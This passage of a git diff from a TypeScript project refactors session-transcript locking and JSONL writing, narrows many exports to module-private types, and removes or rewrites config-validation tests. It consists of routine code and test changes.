"id" as const, id: result.messageId }] : []), - ], - resolvePublishedEntriesAfterFailure: () => - publishedHeader ? [{ kind: "header", serialized: publishedHeader }] : [], - }, - ); - } return await withSessionTranscriptAppendQueue(params.transcriptPath, () => withSessionTranscriptWriteLock(params, () => appendSessionTranscriptMessageLocked(params)), ); } -/** - * Appends a message while the caller already owns the transcript write lock and - * append FIFO. Batch writers use this to keep queue-before-lock ordering while - * reusing the same file lock for multiple transcript rows. - */ -export async function appendSessionTranscriptMessageWithOwnedWriteLock( - params: AppendSessionTranscriptMessageParams & { - prepareMessageAfterIdempotencyCheck: (message: TMessage) => TMessage | undefined; - }, -): Promise | undefined>; -export async function appendSessionTranscriptMessageWithOwnedWriteLock( - params: AppendSessionTranscriptMessageParams, -): Promise>; -export async function appendSessionTranscriptMessageWithOwnedWriteLock( - params: AppendSessionTranscriptMessageParams, -): Promise | undefined> { - const activeLockRunner = resolveOwnedSessionTranscriptWriteLockRunner({ - sessionFile: params.transcriptPath, - }); - if (!activeLockRunner) { - throw new Error("Owned transcript write lock is required for batch transcript append"); - } - return await activeLockRunner(() => appendSessionTranscriptMessageLocked(params)); -} - type AppendSessionTranscriptEventParams = { config?: OpenClawConfig; event: unknown; @@ -511,24 +484,6 @@ type AppendSessionTranscriptEventParams = { export async function appendSessionTranscriptEvent( params: AppendSessionTranscriptEventParams, ): Promise { - const activeLockRunner = resolveOwnedSessionTranscriptWriteLockRunner({ - sessionFile: params.transcriptPath, - }); - if (activeLockRunner) { - await activeLockRunner( - () => - withSessionTranscriptAppendQueue(params.transcriptPath, () => - appendSessionTranscriptEventLocked(params), - ), - { - publishOwnedWrite: true, - resolvePublishedEntries: (result) => [ - { kind: "serialized", serialized: result.serializedEntry }, - ], - }, - ); - return; - } await withSessionTranscriptAppendQueue(params.transcriptPath, () => withSessionTranscriptWriteLock(params, () => appendSessionTranscriptEventLocked(params)), ); diff --git a/src/config/sessions/transcript-jsonl.ts b/src/config/sessions/transcript-jsonl.ts index 5915c8771258..cb5b90aeb8be 100644 --- a/src/config/sessions/transcript-jsonl.ts +++ b/src/config/sessions/transcript-jsonl.ts @@ -60,19 +60,6 @@ export function appendSerializedJsonlEntrySync( appendFileSync(filePath, content, "utf-8"); return content; } - -export async function writeJsonlEntry( - filePath: string, - entry: unknown, - options?: WriteJsonlFileOptions, -): Promise { - await fs.writeFile(filePath, serializeJsonlEntry(entry), { - encoding: options?.encoding ?? "utf-8", - ...(options?.flag ? { flag: options.flag } : {}), - ...(options?.mode !== undefined ? { mode: options.mode } : {}), - }); -} - export async function writeJsonlLines( filePath: string, lines: readonly string[], @@ -86,26 +73,3 @@ export async function writeJsonlLines( }); return content; } - -export async function appendJsonlEntry(filePath: string, entry: unknown): Promise { - await appendSerializedJsonlEntry(filePath, serializeJsonlEntry(entry)); -} - -export async function appendSerializedJsonlEntry( - filePath: string, - serializedEntry: string, -): Promise { - const handle = await fs.open(filePath, "a+", 0o600); - try { - const stat = await handle.stat(); - let prefixNewline = false; - if (stat.size > 0) { - const lastByte = Buffer.allocUnsafe(1); - const { bytesRead } = await handle.read(lastByte, 0, 1, stat.size - 1); - prefixNewline = bytesRead === 1 && lastByte[0] !== 0x0a; - } - await handle.appendFile(`${prefixNewline ? "\n" : ""}${serializedEntry}`, "utf-8"); - } finally { - await handle.close(); - } -} diff --git a/src/config/sessions/transcript-replay.ts b/src/config/sessions/transcript-replay.ts index ab5f6195b2fb..52cf994db858 100644 --- a/src/config/sessions/transcript-replay.ts +++ b/src/config/sessions/transcript-replay.ts @@ -5,7 +5,7 @@ import path from "node:path"; import { CURRENT_SESSION_VERSION } from "./version.js"; /** Tail kept so DM continuity survives silent session rotations. */ -export const DEFAULT_REPLAY_MAX_MESSAGES = 6; +const DEFAULT_REPLAY_MAX_MESSAGES = 6; type SessionRecord = { type?: unknown; diff --git a/src/config/sessions/transcript-stream.ts b/src/config/sessions/transcript-stream.ts index fb93120a018c..bc70955b1dd3 100644 --- a/src/config/sessions/transcript-stream.ts +++ b/src/config/sessions/transcript-stream.ts @@ -17,11 +17,11 @@ const DEFAULT_REVERSE_CHUNK_BYTES = 64 * 1024; const MAX_REVERSE_CHUNK_BYTES = 1024 * 1024; const MIN_REVERSE_CHUNK_BYTES = 1024; -export type TranscriptStreamOptions = { +type TranscriptStreamOptions = { signal?: AbortSignal; }; -export type TranscriptReverseStreamOptions = TranscriptStreamOptions & { +type TranscriptReverseStreamOptions = TranscriptStreamOptions & { /** Bytes read per reverse scan chunk. Clamped to [1KiB, 1MiB]. */ chunkBytes?: number; }; diff --git a/src/config/sessions/transcript-tree.ts b/src/config/sessions/transcript-tree.ts index 4c3806065d5a..5128920103f8 100644 --- a/src/config/sessions/transcript-tree.ts +++ b/src/config/sessions/transcript-tree.ts @@ -1,7 +1,7 @@ // Transcript tree helpers keep append-only leaf controls consistent across readers. type TranscriptRecord = Record; -export type SessionTranscriptTreeEntry = { +type SessionTranscriptTreeEntry = { id: string; parentId: string | null; leafId: string | null | undefined; @@ -9,7 +9,7 @@ export type SessionTranscriptTreeEntry = { appendMode?: "side"; }; -export type SessionTranscriptTreeNode = SessionTranscriptTreeEntry & { +type SessionTranscriptTreeNode = SessionTranscriptTreeEntry & { entry: T; index: number; }; diff --git a/src/config/sessions/transcript-write-context.ts b/src/config/sessions/transcript-write-context.ts index 7b858450b3d7..453d903639b3 100644 --- a/src/config/sessions/transcript-write-context.ts +++ b/src/config/sessions/transcript-write-context.ts @@ -87,29 +87,6 @@ export async function runWithOwnedSessionTranscriptWriteLock( return await runWithOwnedSessionTranscriptWriteContext(params, run); } -export async function runWithOwnedSessionTranscriptWritePublication( - params: { - sessionFile?: string; - sessionKey?: string; - }, - run: () => Promise | T, -): Promise { - return await runWithOwnedSessionTranscriptWriteContext(params, run, { - publishOwnedWrite: true, - }); -} - -export function resolveOwnedSessionTranscriptWriteLockRunner(params: { - sessionFile?: string; - sessionKey?: string; -}): OwnedSessionTranscriptWriteContext["withSessionWriteLock"] | undefined { - const context = ownedTranscriptWriteContext.getStore(); - if (!context || !contextMatches({ context, ...params })) { - return undefined; - } - return context.withSessionWriteLock; -} - export function canAdvanceOwnedSessionEntryCache(params: { sessionFile?: string; sessionKey?: string; diff --git a/src/config/sessions/transcript.test.ts b/src/config/sessions/transcript.test.ts index ef634a63bfe6..914f4ab44b1b 100644 --- a/src/config/sessions/transcript.test.ts +++ b/src/config/sessions/transcript.test.ts @@ -38,7 +38,6 @@ import { appendExactAssistantMessageToSessionTranscript, readLatestAssistantTextFromSessionTranscript, readRecentUserAssistantTextForSession, - readRecentUserAssistantTextFromSessionTranscript, readTailAssistantTextFromSessionTranscript, } from "./transcript.js"; import type { SessionEntry } from "./types.js"; @@ -473,21 +472,16 @@ describe("appendAssistantMessageToSessionTranscript", () => { }, }, async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: "Hello from bound delivery", - timestamp: Date.now(), - stopReason: "stop", - }, + await runWithOwnedSessionTranscriptWriteLock({ sessionFile, sessionKey }, () => { + events.push("write"); + return "ok"; }), ); const result = await callback(); - expect(result.messageId).toBeTruthy(); - expect(events).toEqual(["lock"]); + expect(result).toBe("ok"); + expect(events).toEqual(["lock", "write"]); }); it("appends to legacy lowercase Signal group session entries", async () => { @@ -944,106 +938,6 @@ describe("appendAssistantMessageToSessionTranscript", () => { } }); - it("reads bounded recent user and assistant text before the current turn", async () => { - await writeTranscriptStore(); - const sessionFile = resolveSessionTranscriptPathInDir(sessionId, fixture.sessionsDir()); - - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "user", - content: "Analyze this chart", - timestamp: 1_000, - provenance: { kind: "external_user", sourceChannel: "gateway" }, - }, - }); - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - ...createExactAssistantMessage({ text: "The chart is range-bound; want an alert?" }), - timestamp: 2_000, - }, - }); - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "user", - content: "no need, I closed it", - timestamp: 3_000, - provenance: { kind: "external_user", sourceChannel: "telegram" }, - }, - }); - - const recent = await readRecentUserAssistantTextFromSessionTranscript(sessionFile, { - beforeTimestampMs: 3_000, - limit: 10, - }); - - expect(recent).toEqual([ - { - id: expect.any(String), - role: "user", - text: "Analyze this chart", - timestamp: 1_000, - sourceChannel: "gateway", - }, - { - id: expect.any(String), - role: "assistant", - text: "The chart is range-bound; want an alert?", - timestamp: 2_000, - }, - ]); - }); - - it("skips transcript-only OpenClaw assistant entries when reading recent prompt context", async () => { - await writeTranscriptStore(); - const sessionFile = resolveSessionTranscriptPathInDir(sessionId, fixture.sessionsDir()); - - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { role: "user", content: "approved from gateway", timestamp: 1_000 }, - }); - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - ...createExactAssistantMessage({ - text: "Transcript delivery bookkeeping", - provider: "openclaw", - model: "gateway-injected", - }), - timestamp: 2_000, - }, - }); - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - ...createExactAssistantMessage({ text: "Visible assistant reply" }), - timestamp: 3_000, - }, - }); - - await expect( - readRecentUserAssistantTextFromSessionTranscript(sessionFile, { - beforeTimestampMs: 4_000, - limit: 10, - }), - ).resolves.toEqual([ - { - id: expect.any(String), - role: "user", - text: "approved from gateway", - timestamp: 1_000, - }, - { - id: expect.any(String), - role: "assistant", - text: "Visible assistant reply", - timestamp: 3_000, - }, - ]); - }); - it("resolves recent transcript context from session identity", async () => { await writeTranscriptStore(); await persistSessionTranscriptTurn( diff --git a/src/config/sessions/transcript.ts b/src/config/sessions/transcript.ts index fe3ec9d4fe8c..29a98f49b120 100644 --- a/src/config/sessions/transcript.ts +++ b/src/config/sessions/transcript.ts @@ -83,20 +83,20 @@ export type SessionRecentConversationText = { sourceChannel?: string; }; -export type ReadRecentSessionConversationTextOptions = { +type ReadRecentSessionConversationTextOptions = { beforeTimestampMs?: number; limit?: number; minTimestampMs?: number; }; -export type ReadRecentSessionConversationTextParams = ReadRecentSessionConversationTextOptions & { +type ReadRecentSessionConversationTextParams = ReadRecentSessionConversationTextOptions & { agentId?: string; sessionKey: string; storePath?: string; }; export type LatestAssistantTranscriptText = AssistantTranscriptText; -export type TailAssistantTranscriptText = AssistantTranscriptText; +type TailAssistantTranscriptText = AssistantTranscriptText; export { resolveSessionTranscriptFile } from "./transcript-file-resolve.js"; @@ -278,7 +278,7 @@ function resolveSessionConversationTranscriptTarget(params: { }; } -export async function readRecentUserAssistantTextFromSessionTranscript( +async function readRecentUserAssistantTextFromSessionTranscript( sessionFile: string | undefined, options: ReadRecentSessionConversationTextOptions = {}, ): Promise { diff --git a/src/config/sessions/types.ts b/src/config/sessions/types.ts index 852ec98fcd68..b555e2747901 100644 --- a/src/config/sessions/types.ts +++ b/src/config/sessions/types.ts @@ -3,8 +3,6 @@ import crypto from "node:crypto"; import type { AcpSessionRuntimeOptions, SessionAcpIdentity, - SessionAcpIdentitySource, - SessionAcpIdentityState, SessionAcpMeta, } from "@openclaw/acp-core/types"; import { normalizeOptionalString, type FastMode } from "@openclaw/normalization-core/string-coerce"; @@ -19,7 +17,7 @@ import { rewriteSessionFileForNewSessionId } from "./session-file-rotation.js"; export type SessionScope = "per-sender" | "global"; -export type SessionChannelId = ChannelId; +type SessionChannelId = ChannelId; export type SessionChatType = ChatType; @@ -36,13 +34,7 @@ export type SessionOrigin = { threadId?: string | number; }; -export type { - AcpSessionRuntimeOptions, - SessionAcpIdentity, - SessionAcpIdentitySource, - SessionAcpIdentityState, - SessionAcpMeta, -}; +export type { AcpSessionRuntimeOptions, SessionAcpIdentity, SessionAcpMeta }; export type CliSessionReseedReceipt = { version: 1; @@ -76,7 +68,7 @@ export type SessionCompactionCheckpointReason = | "overflow-retry" | "timeout-retry"; -export type SessionCompactionTranscriptReference = { +type SessionCompactionTranscriptReference = { sessionId: string; sessionFile?: string; leafId?: string; @@ -97,7 +89,7 @@ export type SessionCompactionCheckpoint = { postCompaction: SessionCompactionTranscriptReference; }; -export type SessionContextBudgetStatusRoute = +type SessionContextBudgetStatusRoute = | "fits" | "compact_only" | "truncate_tool_results_only" @@ -131,7 +123,7 @@ export type AmbientTranscriptWatermark = { updatedAt: number; }; -export type SessionPluginDebugEntry = { +type SessionPluginDebugEntry = { pluginId: string; lines: string[]; }; @@ -144,7 +136,7 @@ export type SessionPluginJsonValue = | SessionPluginJsonValue[] | { [key: string]: SessionPluginJsonValue }; -export type SessionPluginNextTurnInjection = { +type SessionPluginNextTurnInjection = { id: string; pluginId: string; pluginName?: string; @@ -156,7 +148,7 @@ export type SessionPluginNextTurnInjection = { metadata?: SessionPluginJsonValue; }; -export type SubagentRecoveryState = { +type SubagentRecoveryState = { /** Consecutive accepted automatic orphan-recovery resumes in the rapid re-wedge window. */ automaticAttempts?: number; /** Timestamp (ms) of the latest accepted automatic orphan-recovery resume. */ @@ -169,7 +161,7 @@ export type SubagentRecoveryState = { wedgedReason?: string; }; -export type LaneExecutionState = +type LaneExecutionState = | "active" | "draining" | "suspended" @@ -597,7 +589,7 @@ export function setSessionRuntimeModel( return true; } -export type SessionEntryMergePolicy = "touch-activity" | "preserve-activity"; +type SessionEntryMergePolicy = "touch-activity" | "preserve-activity"; type MergeSessionEntryOptions = { policy?: SessionEntryMergePolicy; @@ -625,7 +617,7 @@ function normalizeMergedUpdatedAt(value: number | undefined, now: number): numbe return Math.min(value, now); } -export function mergeSessionEntryWithPolicy( +function mergeSessionEntryWithPolicy( existing: SessionEntry | undefined, patch: Partial, options?: MergeSessionEntryOptions, diff --git a/src/config/state-dir-dotenv.ts b/src/config/state-dir-dotenv.ts index d4fcdc0ea414..6e78781cba0e 100644 --- a/src/config/state-dir-dotenv.ts +++ b/src/config/state-dir-dotenv.ts @@ -108,15 +108,13 @@ export function readStateDirDotEnvFromStateDir(stateDir: string): ParsedStateDir * a filtered record of key-value pairs suitable for a managed service * environment source. */ -export function readStateDirDotEnvVars( - env: Record, -): Record { +function readStateDirDotEnvVars(env: Record): Record { const stateDir = resolveStateDir(env as NodeJS.ProcessEnv); return readStateDirDotEnvFromStateDir(stateDir).entries; } /** Split view of durable gateway service env sources before precedence is applied. */ -export type DurableServiceEnvVarSources = { +type DurableServiceEnvVarSources = { stateDirDotEnvEnvironment: Record; configEnvironment: Record; durableEnvironment: Record; diff --git a/src/config/validation.allowed-values.test.ts b/src/config/validation.allowed-values.test.ts index 459f2f8a753b..d2d6430e1d18 100644 --- a/src/config/validation.allowed-values.test.ts +++ b/src/config/validation.allowed-values.test.ts @@ -1,7 +1,6 @@ // Verifies config validation rejects unsupported enumerated values. import { describe, expect, it } from "vitest"; -import { z } from "zod"; -import { testing, validateConfigObjectRaw } from "./validation.js"; +import { validateConfigObjectRaw } from "./validation.js"; function requireIssue(issues: T[], path: string): T { const issue = issues.find((entry) => entry.path === path); @@ -11,22 +10,6 @@ function requireIssue(issues: T[], path: string): T return issue; } -function mapFirstIssue( - schema: { safeParse: (value: unknown) => { success: true } | { success: false; error: unknown } }, - value: unknown, -) { - const result = schema.safeParse(value); - expect(result.success).toBe(false); - if (result.success) { - throw new Error("expected schema parse failure"); - } - const issue = (result.error as { issues?: unknown[] }).issues?.[0]; - if (!issue) { - throw new Error("expected first zod issue"); - } - return testing.mapZodIssueToConfigIssue(issue); -} - describe("config validation allowed-values metadata", () => { it("accepts extended-stable as an additive update channel", () => { expect( @@ -50,32 +33,6 @@ describe("config validation allowed-values metadata", () => { } }); - it("keeps native enum messages while attaching allowed values metadata", () => { - const issue = mapFirstIssue( - z.object({ dmPolicy: z.enum(["pairing", "allowlist", "open", "disabled"]) }), - { dmPolicy: "maybe" }, - ); - expect(issue.path).toBe("dmPolicy"); - expect(issue.message).toContain("expected one of"); - expect(issue.message).not.toContain("(allowed:"); - expect(issue.allowedValues).toEqual(["pairing", "allowlist", "open", "disabled"]); - expect(issue.allowedValuesHiddenCount).toBe(0); - }); - - it("includes boolean variants for boolean-or-enum unions", () => { - const issue = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["channels", "telegram"], - message: - "channels.telegram.streamMode, channels.telegram.streaming (scalar), chunkMode, blockStreaming, draftChunk, and blockStreamingCoalesce are legacy", - }); - expect(issue.path).toBe("channels.telegram"); - expect(issue.message).toContain( - "channels.telegram.streamMode, channels.telegram.streaming (scalar), chunkMode, blockStreaming, draftChunk, and blockStreamingCoalesce are legacy", - ); - expect(issue.allowedValues).toBeUndefined(); - }); - it("skips allowed-values hints for unions with open-ended branches", () => { const result = validateConfigObjectRaw({ cron: { sessionRetention: true }, @@ -90,6 +47,33 @@ describe("config validation allowed-values metadata", () => { } }); + it.each([ + { value: 15, expected: "(maximum: 14)" }, + { value: 0, expected: "(minimum: 1)" }, + ])("adds numeric bound hints for invalid startup context limits", ({ value, expected }) => { + const result = validateConfigObjectRaw({ + agents: { defaults: { startupContext: { dailyMemoryDays: value } } }, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + const issue = requireIssue(result.issues, "agents.defaults.startupContext.dailyMemoryDays"); + expect(issue.message).toContain(expected); + } + }); + + it("adds an exclusive lower-bound hint for positive config values", () => { + const result = validateConfigObjectRaw({ + agents: { defaults: { maxConcurrent: 0 } }, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + const issue = requireIssue(result.issues, "agents.defaults.maxConcurrent"); + expect(issue.message).toContain("(must be greater than 0)"); + } + }); + it("surfaces specific sub-issue for invalid_union bindings errors instead of generic 'Invalid input'", () => { const result = validateConfigObjectRaw({ bindings: [ @@ -198,45 +182,3 @@ describe("config validation legacy openai-codex api", () => { } }); }); - -describe("config validation numeric bound hints", () => { - it("appends maximum for inclusive too_big numeric bound", () => { - const issue = mapFirstIssue( - z.object({ maxPingPongTurns: z.number().int().min(0).max(20).optional() }), - { maxPingPongTurns: 50 }, - ); - expect(issue.path).toBe("maxPingPongTurns"); - expect(issue.message).toContain("(maximum: 20)"); - expect(issue.allowedValues).toBeUndefined(); - }); - - it("appends 'must be less than' for exclusive too_big numeric bound", () => { - const issue = mapFirstIssue(z.object({ rate: z.number().lt(5) }), { rate: 5 }); - expect(issue.path).toBe("rate"); - expect(issue.message).toContain("(must be less than 5)"); - expect(issue.message).not.toContain("(maximum: 5)"); - }); - - it("appends 'must be greater than' for exclusive too_small numeric bound (positive/gt)", () => { - const issue = mapFirstIssue(z.object({ count: z.number().positive() }), { count: 0 }); - expect(issue.path).toBe("count"); - expect(issue.message).toContain("(must be greater than 0)"); - expect(issue.message).not.toContain("(minimum: 0)"); - }); - - it("appends minimum for inclusive too_small numeric bound", () => { - const issue = mapFirstIssue(z.object({ retries: z.number().min(0) }), { retries: -1 }); - expect(issue.path).toBe("retries"); - expect(issue.message).toContain("(minimum: 0)"); - }); - - it("does not append numeric bound hints for non-number origins (string)", () => { - const issue = mapFirstIssue(z.object({ name: z.string().max(10) }), { - name: "abcdefghijklmnop", - }); - expect(issue.path).toBe("name"); - expect(issue.message).not.toContain("(maximum:"); - expect(issue.message).not.toContain("(must be less than"); - expect(issue.allowedValues).toBeUndefined(); - }); -}); diff --git a/src/config/validation.test.ts b/src/config/validation.test.ts deleted file mode 100644 index 90aeb2156fd9..000000000000 --- a/src/config/validation.test.ts +++ /dev/null @@ -1,436 +0,0 @@ -// Unit tests for mapZodIssueToConfigIssue (config validation issue mapper). -import { describe, expect, it } from "vitest"; -import { testing } from "./validation.js"; - -// --------------------------------------------------------------------------- -// Basic path and message mapping -// --------------------------------------------------------------------------- - -describe("mapZodIssueToConfigIssue", () => { - describe("basic path and message", () => { - it("maps a simple path and message", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["channels", "telegram", "botToken"], - message: "invalid bot token", - }); - expect(result).toEqual({ - path: "channels.telegram.botToken", - message: "invalid bot token", - }); - }); - - it("defaults message to 'Invalid input' when message is missing", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["foo"], - }); - expect(result.path).toBe("foo"); - expect(result.message).toBe("Invalid input"); - }); - - it("defaults message to 'Invalid input' when message is not a string", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["foo"], - message: 42, - }); - expect(result.message).toBe("Invalid input"); - }); - - it("handles empty path array", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: [], - message: "root error", - }); - expect(result.path).toBe(""); - }); - - it("handles non-array path", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: "scalar", - message: "bad path", - }); - expect(result.path).toBe(""); - }); - - it("includes numeric array-index segments in path", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["agents", "list", 0, "name"], - message: "missing name", - }); - expect(result.path).toBe("agents.list.0.name"); - }); - }); - - // --------------------------------------------------------------------------- - // Numeric bound hints (too_big / too_small) - // --------------------------------------------------------------------------- - - describe("numeric bound hints", () => { - it("appends (maximum: N) for too_big inclusive with number origin", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_big", - path: ["timeoutMs"], - message: "Value is too big", - origin: "number", - maximum: 100, - inclusive: true, - }); - expect(result.message).toMatch(/\(maximum: 100\)/); - }); - - it("appends (must be less than N) for too_big exclusive with number origin", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_big", - path: ["timeoutMs"], - message: "Value is too big", - origin: "number", - maximum: 100, - inclusive: false, - }); - expect(result.message).toMatch(/\(must be less than 100\)/); - }); - - it("appends (minimum: N) for too_small inclusive with number origin", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_small", - path: ["maxTokens"], - message: "Value is too small", - origin: "number", - minimum: 1, - inclusive: true, - }); - expect(result.message).toMatch(/\(minimum: 1\)/); - }); - - it("appends (must be greater than N) for too_small exclusive with number origin", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_small", - path: ["maxTokens"], - message: "Value is too small", - origin: "number", - minimum: 1, - inclusive: false, - }); - expect(result.message).toMatch(/\(must be greater than 1\)/); - }); - - it("does not add bound hint when maximum is missing for too_big", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_big", - path: ["timeoutMs"], - message: "Value is too big", - origin: "number", - inclusive: true, - }); - expect(result.message).toBe("Value is too big"); - }); - - it("does not add bound hint when minimum is missing for too_small", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_small", - path: ["maxTokens"], - message: "Value is too small", - origin: "number", - inclusive: true, - }); - expect(result.message).toBe("Value is too small"); - }); - - it("does not add bound hint when origin is not 'number'", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_big", - path: ["strLength"], - message: "Value is too big", - origin: "string", - maximum: 10, - inclusive: true, - }); - expect(result.message).toBe("Value is too big"); - }); - - it("does not add bound hint for too_big with invalid inclusive default", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "too_big", - path: ["count"], - message: "Value is too big", - origin: "number", - maximum: 5, - // inclusive defaults to false when missing - }); - expect(result.message).toMatch(/\(must be less than 5\)/); - }); - }); - - // --------------------------------------------------------------------------- - // Allowed values collection - // --------------------------------------------------------------------------- - - describe("allowed values", () => { - it("collects allowed values from invalid_value issue", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_value", - path: ["update", "channel"], - message: "Invalid enum value", - values: ["stable", "beta", "dev"], - }); - expect(result).toMatchObject({ - path: "update.channel", - message: expect.stringContaining("Invalid enum value"), - allowedValues: ["stable", "beta", "dev"], - }); - }); - - it("collects boolean allowed values from invalid_type with expected boolean", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_type", - path: ["enabled"], - message: "Expected boolean, received string", - expected: "boolean", - }); - expect(result).toMatchObject({ - path: "enabled", - allowedValues: ["true", "false"], - }); - }); - - it("does not collect allowed values for invalid_type with non-boolean expected", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_type", - path: ["port"], - message: "Expected number, received string", - expected: "number", - }); - expect(result.allowedValues).toBeUndefined(); - }); - - it("collects allowed values from custom issue with 'expected one of' message", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["mode"], - message: 'expected one of "fast"|"balanced"|"thorough"', - }); - expect(result).toMatchObject({ - path: "mode", - allowedValues: ["fast", "balanced", "thorough"], - }); - }); - - it("does not collect allowed values from custom issue without expected one of pattern", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["plugins", "entries", "my-plugin"], - message: "plugin not found", - }); - expect(result.allowedValues).toBeUndefined(); - }); - - it("collects allowed values from invalid_union with complete nested branches", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["dmPolicy"], - message: "Invalid input", - errors: [ - [{ code: "invalid_value", path: [], values: ["pairing", "allowlist"] }], - [{ code: "invalid_value", path: [], values: ["open", "disabled"] }], - ], - }); - expect(result).toMatchObject({ - path: "dmPolicy", - allowedValues: expect.arrayContaining(["pairing", "allowlist", "open", "disabled"]), - }); - expect(result.allowedValues).toHaveLength(4); - }); - - it("returns no allowed values for invalid_union with incomplete branch", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["dmPolicy"], - message: "Invalid input", - errors: [ - [{ code: "invalid_value", path: [], values: ["pairing"] }], - // empty branch → incomplete - [], - ], - }); - expect(result.allowedValues).toBeUndefined(); - expect(result.allowedValuesHiddenCount).toBeUndefined(); - }); - - it("returns no allowed values for invalid_union with empty errors", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["dmPolicy"], - message: "Invalid input", - errors: [], - }); - expect(result.allowedValues).toBeUndefined(); - }); - - it("returns no allowed values for invalid_union with non-array errors", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["dmPolicy"], - message: "Invalid input", - errors: "not-an-array", - }); - expect(result.allowedValues).toBeUndefined(); - }); - - it("returns no allowed values for invalid_value with non-array values", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_value", - path: ["color"], - message: "Invalid value", - values: "not-an-array", - }); - expect(result.allowedValues).toBeUndefined(); - }); - }); - - // --------------------------------------------------------------------------- - // AllowedValuesHiddenCount when > MAX_ALLOWED_VALUES_HINT (12) - // --------------------------------------------------------------------------- - - describe("allowed values hidden count", () => { - it("includes hiddenCount when allowed values exceed 12", () => { - const values = Array.from({ length: 15 }, (_, i) => `value-${i}`); - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_value", - path: ["many"], - message: "too many options", - values, - }); - expect(result.allowedValues).toHaveLength(12); - expect(result.allowedValuesHiddenCount).toBe(3); - }); - - it("has hiddenCount 0 when allowed values are 12 or fewer", () => { - const values = Array.from({ length: 5 }, (_, i) => `v${i}`); - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_value", - path: ["few"], - message: "some options", - values, - }); - expect(result.allowedValues).toHaveLength(5); - expect(result.allowedValuesHiddenCount).toBe(0); - }); - }); - - // --------------------------------------------------------------------------- - // Bindings-specific union extraction - // --------------------------------------------------------------------------- - - describe("bindings-specific union extraction", () => { - it("extracts a matching branch issue for bindings path with route mismatch", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["bindings", 0], - message: "Invalid input", - errors: [ - // Route type mismatch — triggers the extraction, will be filtered - [{ code: "invalid_value", path: ["type"], values: ["route"] }], - // Valid branch — this one gets extracted - [{ code: "invalid_type", path: ["url"], message: "Expected string" }], - ], - }); - expect(result).toEqual({ - path: "bindings.0.url", - message: "Expected string", - }); - }); - - it("filters out route-type-mismatch branches", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["bindings", 0], - message: "Invalid input", - errors: [ - // Route type mismatch — should be skipped - [{ code: "invalid_value", path: ["type"], values: ["route"] }], - // Valid branch - [{ code: "invalid_type", path: ["channel"], message: "Expected string" }], - ], - }); - expect(result).toEqual({ - path: "bindings.0.channel", - message: "Expected string", - }); - }); - - it("returns null (no extraction) when multiple branches match", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["bindings", 0], - message: "Invalid input", - errors: [ - [{ code: "invalid_type", path: ["url"], message: "Bad url" }], - [{ code: "invalid_type", path: ["channel"], message: "Bad channel" }], - ], - }); - // Ambiguous — falls back to the original union message - expect(result.path).toBe("bindings.0"); - expect(result.message).toBe("Invalid input"); - }); - - it("returns null for non-bindings invalid_union", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["logging", "level"], - message: "Invalid input", - errors: [[{ code: "invalid_value", path: [], values: ["debug", "info"] }]], - }); - // Non-bindings path with allowed values → shows allowed values - expect(result.allowedValues).toBeDefined(); - }); - - it("returns null for bindings with no array errors", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "invalid_union", - path: ["bindings", 0], - message: "Invalid input", - }); - expect(result.path).toBe("bindings.0"); - expect(result.message).toBe("Invalid input"); - }); - }); - - // --------------------------------------------------------------------------- - // Combined scenarios - // --------------------------------------------------------------------------- - - describe("combined scenarios", () => { - it("includes both numeric bound hint and allowed values when both apply", () => { - const result = testing.mapZodIssueToConfigIssue({ - code: "custom", - path: ["maxTokens"], - message: 'expected one of "100"|"200"|"500"|"1000"', - origin: "number", - maximum: 1000, - inclusive: true, - }); - // Message already contains allowed values, so no "(allowed: ...)" suffix - expect(result.message).toMatch(/expected one of/); - // But the allowed values metadata is still attached - expect(result.allowedValues).toContain("100"); - expect(result.allowedValues).toContain("200"); - }); - - it("handles malformed input gracefully", () => { - const result = testing.mapZodIssueToConfigIssue(null); - expect(result.path).toBe(""); - expect(result.message).toBe("Invalid input"); - }); - - it("handles undefined input gracefully", () => { - const result = testing.mapZodIssueToConfigIssue(undefined); - expect(result.path).toBe(""); 